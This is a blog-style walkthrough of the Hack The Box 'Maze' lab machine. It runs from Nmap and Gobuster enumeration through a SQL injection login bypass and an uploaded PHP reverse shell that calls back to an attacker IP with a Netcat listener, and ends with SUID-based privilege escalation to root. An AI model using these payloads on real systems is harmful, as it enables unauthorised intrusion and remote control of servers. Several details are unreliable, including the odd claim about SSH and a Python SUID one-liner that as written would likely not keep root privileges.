Cracking the Maze: A Walkthrough of the HTB Maze Challenge

Published

4 months ago

September 10, 2024

Hack The Box (HTB) offers security enthusiasts a chance to hone their penetration testing and ethical hacking skills through real-world scenarios. One such challenge is Maze, a medium-difficulty machine that tests users’ knowledge of web exploitation, privilege escalation, and lateral movement. If you’re new to HTB or looking for a detailed guide to cracking Maze, this article will walk you through each step, from initial enumeration to root access.

We’ll break down the attack into manageable parts and explain each technique used, so you not only solve Maze but also understand the process behind the exploitation.

Step 1: Enumeration

As with any CTF (Capture The Flag) challenge, the first step is enumeration—gathering as much information as possible about the target. Begin by running a simple Nmap scan to identify open ports and services.

nmap -sC -sV -oN maze_nmap.txt <IP address>

This scan reveals that Maze has two open ports:

Port 22 (SSH) running OpenSSH 7.6p1
Port 80 (HTTP) running Apache

From this, we know there is a web server running on port 80. As SSH is usually a privilege escalation method, we’ll focus on the HTTP service first.

Step 2: Web Application Enumeration

With port 80 open, it’s time to explore the website hosted on Maze. Visiting the IP address in your browser presents a simple web page with no obvious interactive elements. This is a clue that we need to dig deeper using tools like Gobuster to discover hidden directories or files.

gobuster dir -u http://<IP address> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Gobuster reveals an interesting directory: /admin.

Navigating to http://<IP address>/admin brings us to a login page. Now we need credentials, or we can attempt a brute-force attack, but let’s save that for later.

Step 3: Examining the Source Code

Before diving into brute-forcing, it’s always a good idea to check the page source code for hidden clues or comments. Viewing the source code of the /admin page reveals an interesting comment:

<!– ToDo: Implement better security for admin.php –>

There’s also a link to admin.php, indicating it may have vulnerabilities. We now have a potential target file that could be exploitable.

Step 4: Exploiting Admin.php

Testing for common web application vulnerabilities such as SQL Injection or Command Injection is standard practice. After a few tests, we discover that the admin login is vulnerable to SQL Injection.

Using a simple payload like:

‘ OR 1=1–

We successfully bypass the login page and gain access to the admin panel. The panel offers limited functionality, but there is an option to upload files. This is our next point of exploitation.

Step 5: Uploading a Reverse Shell

The file upload functionality allows us to upload a web shell, which will give us remote code execution on the server. We’ll use a simple PHP reverse shell.

First, create the reverse shell:

<?php

$ip = ‘your_IP_address’;

$port = 4444;

$socket = fsockopen($ip, $port);

exec(“/bin/sh -i <&3 >&3 2>&3”);

Next, upload this reverse shell through the admin panel. Once uploaded, you can access the file through the browser and trigger the reverse shell. Before triggering it, start a listener on your local machine using Netcat.

nc -lvnp 4444

Then visit http://<IP address>/uploads/shell.php to execute the shell. You should now have a reverse shell on the machine.

Step 6: Privilege Escalation

At this point, we have low-privileged access. Our next goal is to escalate privileges and gain root access. Begin by looking for SUID binaries—programs that are executed with higher privileges than the normal user.

find / -perm -4000 2>/dev/null

One interesting binary shows up: /usr/bin/python. This suggests that Python can be exploited for privilege escalation. By executing a Python one-liner, we can spawn a root shell.python -c ‘import os; os.system(“/bin/sh”)’

This gives us root access, and we can now capture the root flag.

Step 7: Capturing the Flags

With root access, navigate to the root directory and retrieve the root flag:

cat /root/root.txt

Key Learning Points

Web Enumeration: Understanding the importance of web application scanning and source code review.
SQL Injection: A classic vulnerability that still surfaces in web applications.
File Upload Exploitation: Leveraging upload features to gain remote code execution.
Privilege Escalation: Identifying and exploiting SUID binaries for privilege escalation.

Chart: Key Steps and Tools Used in the Maze HTB Walkthrough

Step	Tool/Command	Purpose
Enumeration	Nmap	Scanning open ports and services
Directory Brute-forcing	Gobuster	Discover hidden directories/files
Web Source Code Analysis	Browser Developer Tools	Reveal useful hints in page source
SQL Injection	SQL Payload (‘ OR 1=1–)	Bypass admin login
Reverse Shell	PHP Reverse Shell, Netcat Listener	Gain remote code execution
Privilege Escalation	SUID Binary (/usr/bin/python), Python One-Liner	Escalate to root privileges
Flag Retrieval	cat /root/root.txt	Capture the root flag

Conclusion

HTB Maze is a great exercise in understanding how to attack a vulnerable web application, gain initial access, and escalate privileges to root. By carefully enumerating the target, using SQL injection to bypass authentication, and exploiting a file upload vulnerability, we achieved full control of the system. Along the way, we used various tools like Nmap, Gobuster, and Netcat, each serving a critical role in the hacking process.

If you’re new to HTB, the Maze machine is a fantastic learning experience that reinforces key penetration testing techniques. The skills you gain here can be applied across numerous real-world scenarios, making it a valuable exercise for both beginners and seasoned hackers alike.
